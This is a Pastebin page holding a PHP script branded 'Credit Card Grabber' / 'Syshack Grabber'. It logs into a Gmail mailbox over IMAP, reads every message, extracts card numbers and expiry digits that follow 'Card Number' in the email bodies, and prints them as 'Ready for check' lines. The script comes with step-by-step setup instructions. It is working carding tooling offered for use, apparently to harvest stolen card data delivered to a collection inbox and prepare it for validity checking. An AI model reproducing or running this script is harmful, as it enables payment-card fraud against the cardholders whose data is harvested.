Advertisement
ericpedra

hhaha

Feb 12th, 2019
558
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 5.28 KB | None | 0 0
  1. <?php
  2.     class Colors {
  3.         private $foreground_colors = array();
  4.         private $background_colors = array();
  5.         public function __construct() {
  6.             // Set up shell colors
  7.             $this->foreground_colors['black'] = '0;30';
  8.             $this->foreground_colors['dark_gray'] = '1;30';
  9.             $this->foreground_colors['blue'] = '0;34';
  10.             $this->foreground_colors['light_blue'] = '1;34';
  11.             $this->foreground_colors['green'] = '0;32';
  12.             $this->foreground_colors['light_green'] = '1;32';
  13.             $this->foreground_colors['cyan'] = '0;36';
  14.             $this->foreground_colors['light_cyan'] = '1;36';
  15.             $this->foreground_colors['red'] = '0;31';
  16.             $this->foreground_colors['light_red'] = '1;31';
  17.             $this->foreground_colors['purple'] = '0;35';
  18.             $this->foreground_colors['light_purple'] = '1;35';
  19.             $this->foreground_colors['brown'] = '0;33';
  20.             $this->foreground_colors['yellow'] = '1;33';
  21.             $this->foreground_colors['light_gray'] = '0;37';
  22.             $this->foreground_colors['white'] = '1;37';
  23.             $this->background_colors['black'] = '40';
  24.             $this->background_colors['red'] = '41';
  25.             $this->background_colors['green'] = '42';
  26.             $this->background_colors['yellow'] = '43';
  27.             $this->background_colors['blue'] = '44';
  28.             $this->background_colors['magenta'] = '45';
  29.             $this->background_colors['cyan'] = '46';
  30.             $this->background_colors['light_gray'] = '47';
  31.         }
  32.         public function getColoredString($string, $foreground_color = null, $background_color = null) {
  33.             $colored_string = "";
  34.             if (isset($this->foreground_colors[$foreground_color])) {
  35.                 $colored_string .= "\033[" . $this->foreground_colors[$foreground_color] . "m";
  36.             }
  37.             if (isset($this->background_colors[$background_color])) {
  38.                 $colored_string .= "\033[" . $this->background_colors[$background_color] . "m";
  39.             }
  40.             $colored_string .=  $string . "\033[0m";
  41.             return $colored_string;
  42.         }
  43.         public function getForegroundColors() {
  44.             return array_keys($this->foreground_colors);
  45.         }
  46.         public function getBackgroundColors() {
  47.             return array_keys($this->background_colors);
  48.         }
  49.     }
  50.     $colors = new Colors();
  51.  
  52. //Login with your email & app password you have been generated before.
  53. $username = 'xxxx@gmail.com';
  54. $password = 'xxxxxx'; //Use generate password you have been generated before.
  55.  
  56. //Which folders or label do you want to access? - Example: INBOX, All Mail, Trash, labelname
  57. $imapmainbox = "xxxx";
  58.  
  59. // ALL for all Email - UNSEEN for unseen email.
  60. $messagestatus = "ALL";
  61. $imapaddress = "{imap.gmail.com:993/imap/ssl/novalidate-cert}";
  62. $hostname = $imapaddress . $imapmainbox;
  63. $connection = imap_open($hostname,$username,$password) or die('Cannot connect to Gmail: ' . imap_last_error());
  64. $emails = imap_search($connection,$messagestatus);
  65. $totalemails = imap_num_msg($connection);
  66. echo  "
  67. ╔═╗┬─┐┌─┐┌┬┐┬┌┬┐  ╔═╗┌─┐┬─┐┌┬┐  ╔═╗┬─┐┌─┐┌┐ ┌┐ ┌─┐┬─┐
  68. ║  ├┬┘├┤  │││ │   ║  ├─┤├┬┘ ││  ║ ╦├┬┘├─┤├┴┐├┴┐├┤ ├┬┘
  69. ╚═╝┴└─└─┘─┴┘┴ ┴   ╚═╝┴ ┴┴└──┴┘  ╚═╝┴└─┴ ┴└─┘└─┘└─┘┴└─";
  70. echo $colors->getColoredString("Configuration 1", "black", "green") . "\n";
  71. echo $colors->getColoredString("1. Go to https://myaccount.google.com/u/8/security", "black", "green") . "\n";
  72. echo $colors->getColoredString("2. [!!REMEMBER!!] 2-Step Verification must Enabled!", "black", "green") . "\n";
  73. echo $colors->getColoredString("3. If 2-Step Verification has been Enabled , go to https://myaccount.google.com/u/8/apppasswords", "black", "green") . "\n";
  74. echo $colors->getColoredString("4. Change the Setting to", "black", "green") . "\n";
  75. echo $colors->getColoredString("[*]Select App -> Mail", "black", "green") . "\n";
  76. echo $colors->getColoredString("[*]Select Device -> Other Custom Name", "black", "green") . "\n";
  77. echo $colors->getColoredString("[*]Input Custom Name ( Whatever you want )", "black", "green") . "\n";
  78. echo $colors->getColoredString("[*]Generate", "black", "green") . "\n";
  79. echo $colors->getColoredString("The App Password will be show'in like this xxxx xxxx xxxx xxxx ( 16 Character of password )", "black", "green") . "\n";
  80. echo $colors->getColoredString("Login into script using your email & password from App Password", "black", "green") . "\n";
  81. echo $colors->getColoredString("Enjoy!", "black", "green") . "\n";
  82. echo $colors->getColoredString("Usage : php ccgrab.php ", "black", "green") . "\n";
  83.  
  84. echo "\n[+] Total Credit Card will be Grabbed:  " . $totalemails . "\n";
  85.  
  86. if($emails) {
  87.  
  88.   rsort($emails);
  89.   foreach($emails as $email_number) {
  90.     $header = imap_fetch_overview($connection,$email_number,0);
  91.     $message = imap_fetchbody($connection,$email_number,1.1);
  92.          if ($message == "") {
  93.           $message = imap_fetchbody($connection, $email_number, 1);
  94.     }
  95.  
  96.     $status = ($header[0]->seen ? 'read' : 'unread');
  97.     $subject = $header[0]->subject;
  98.     $from = $header[0]->from;
  99.     $date = $header[0]->date;
  100.     $card = 'Card';
  101.     $msgs = explode("Card Number", $message);
  102.     preg_match_all('!\d+!',$msgs[1], $CardNumber);
  103.     echo $CardNumber[0][0]. "|" .$CardNumber[0][1]. "|" .$CardNumber[0][4]. "   [☑ Ready for check]".PHP_EOL;
  104.  
  105.   }
  106. }
  107. imap_close($connection);
  108. echo ("\nThank you for using Syshack Grabber!");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement